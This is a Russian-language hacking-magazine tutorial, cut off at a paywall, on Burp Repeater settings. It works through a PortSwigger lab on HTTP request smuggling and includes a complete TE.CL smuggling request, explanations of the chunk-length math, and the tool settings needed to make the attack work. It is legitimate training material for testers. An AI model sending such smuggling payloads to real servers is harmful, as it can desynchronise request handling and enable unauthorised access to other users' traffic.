Се­год­ня я рас­ска­жу, как исполь­зовать Burp Repeater на пол­ную катуш­ку. Ты научишь­ся парал­лель­но отправ­лять зап­росы, нас­тра­ивать соеди­нения и поль­зовать­ся Custom Actions.

warning

Статья име­ет озна­коми­тель­ный харак­тер и пред­назна­чена для спе­циалис­тов по безопас­ности, про­водя­щих тес­тирова­ние в рам­ках кон­трак­та. Автор и редак­ция не несут ответс­твен­ности за любой вред, при­чинен­ный с при­мене­нием изло­жен­ной информа­ции. Рас­простра­нение вре­донос­ных прог­рамм, наруше­ние работы сис­тем и наруше­ние тай­ны перепис­ки прес­леду­ются по закону.

Итак, откры­вай Repeater и пог­нали!

Зап­рос в Repeater мож­но редак­тировать как угод­но, но обра­ти вни­мание на шес­терен­ку рядом с кноп­кой отправ­ки. В нас­трой­ках ты зада­ешь поведе­ние движ­ка, который соз­дает соеди­нение и шлет дан­ные на сер­вер. Эти опции спо­соб­ны испортить ата­ку, хотя кажут­ся абсо­лют­но бес­полез­ными.

Ес­ли пыта­ешь­ся про­вес­ти ата­ку HTTP request smuggling типа TE.CL, смысл опе­рации в том, что­бы спря­тать один зап­рос в теле дру­гого. При­мер ата­кующе­го зап­роса:

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
5e
POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0

Прок­си‑сер­вер, на который при­дет зап­рос, ори­енти­рует­ся на заголо­вок Transfer-Encoding (TE) и пол­ностью игно­риру­ет Content-Length. Для него зап­рос раз­бит на чан­ки (chunked). Пер­вый чанк име­ет дли­ну 5e, то есть:

POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1

Ноль показы­вает, что цепоч­ка закон­чена. Тело зап­роса выг­лядит стран­но, но если нет WAF или пра­вила, которое отбра­сыва­ет подоб­ное тело, зап­рос прой­дет.

Где найти значение 5e
Где най­ти зна­чение 5e

Сер­вер‑жер­тва, который пря­чет­ся за прок­си и счи­тает, что тот хорошо филь­тру­ет зап­росы, наобо­рот, ори­енти­рует­ся на CL, игно­рируя TE. Тебе важ­но, что­бы до конеч­ного сер­вера зап­рос дошел с Content-Length, рав­ным 4. Тог­да жер­тва порежет зап­рос на две час­ти по раз­меру Content-Length и обра­бота­ет оба. Пер­вый зап­рос:

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
5e
PO

Вто­рой:

POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1

Вто­рой зап­рос оста­нет­ся под­вешен­ным. Сер­вер ждет 15 байт, но получа­ет толь­ко x=1. В резуль­тате он ждет, ког­да при­дут осталь­ные бай­ты. Любой зап­рос, незави­симо от про­исхожде­ния, зак­роет этот завис­ший POST, и поль­зователь уви­дит ошиб­ку 404. Это еще не ата­ка, но уже под­твержде­ние, что уяз­вимость есть.

Для тес­та возь­мем лабу HTTP request smuggling, confirming a TE.CL vulnerability via differential responses. Задача: под­твер­дить, что веб‑при­ложе­ние уяз­вимо к кон­тра­бан­де зап­росов типа TE.CL.

За­пус­ти лабу и перех­вати зап­рос к /. Отправь его в Repeater, для уско­рения можешь выделить зап­рос и нажать Ctrl-R. В нас­трой­ках отклю­чи Update Content-Length. И вооб­ще все, что свя­зано с зап­росами HTTP/2. Для мно­гих атак с кон­тра­бан­дой зап­росов важ­но, что­бы вер­сия HTTP была 1.1.

Ес­ли ты видишь, что вер­сия зап­роса — 2, поменяй ее в Inspector спра­ва. Раз­верни меню Request attributes и клик­ни по HTTP/1.1. Не меняй вер­сию вруч­ную, это может запутать дви­жок.

info

Поч­ти все парамет­ры мож­но менять пря­мо в тек­сте, кро­ме вер­сии HTTP и про­токо­ла. Что­бы перек­лючить­ся с HTTPS на HTTP и обратно, как и поменять порт, кли­кай на каран­даш над «Инспек­тором» в пра­вой час­ти экра­на.

При­веди зап­рос к такому виду:

POST / HTTP/1.1
Host: 0adc000d041272e5801cd500005e0046.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
5e
POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0

В кон­це не забудь два раза нажать Enter, что­бы пра­виль­но завер­шить зап­рос. Жми Send или исполь­зуй сочета­ние кла­виш Ctrl-Space. Отправь зап­рос дваж­ды. Если уяз­вимость есть, вто­рая отправ­ка завер­шит завис­ший POST-зап­рос к /404, и в отве­те вер­нется:

HTTP/1.1 404 Not Found
Content-Type: application/json; charset=utf-8
Set-Cookie: session=AhEwk0c4m2yNN8drBPhSCRzNQzpmcBi8; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 11
"Not Found"

Ес­ли не получи­лось, вклю­чи отоб­ражение спец­симво­лов (зна­чок \n над тек­стом зап­роса). В кон­це дол­жно быть:

0\r \n
\r \n
Отображение спецсимволов в запросе
Отоб­ражение спец­симво­лов в зап­росе
 

Отправка группы запросов

Груп­пиров­ка зап­росов в Repeater — это не толь­ко удоб­ная и понят­ная орга­низа­ция, но и воз­можность парал­лель­но отпра­вить тон­ну зап­росов. Мас­совая отправ­ка нуж­на для мно­гих атак вро­де HTTP request smuggling и race condition. Эти ата­ки поз­воля­ют сло­мать логику при­ложе­ния и получить дос­туп к зак­рытым раз­делам или дос­тавить вре­донос­ный код.

Продолжение доступно только участникам

Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».

Присоединяйся к сообществу «Xakep.ru»!

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии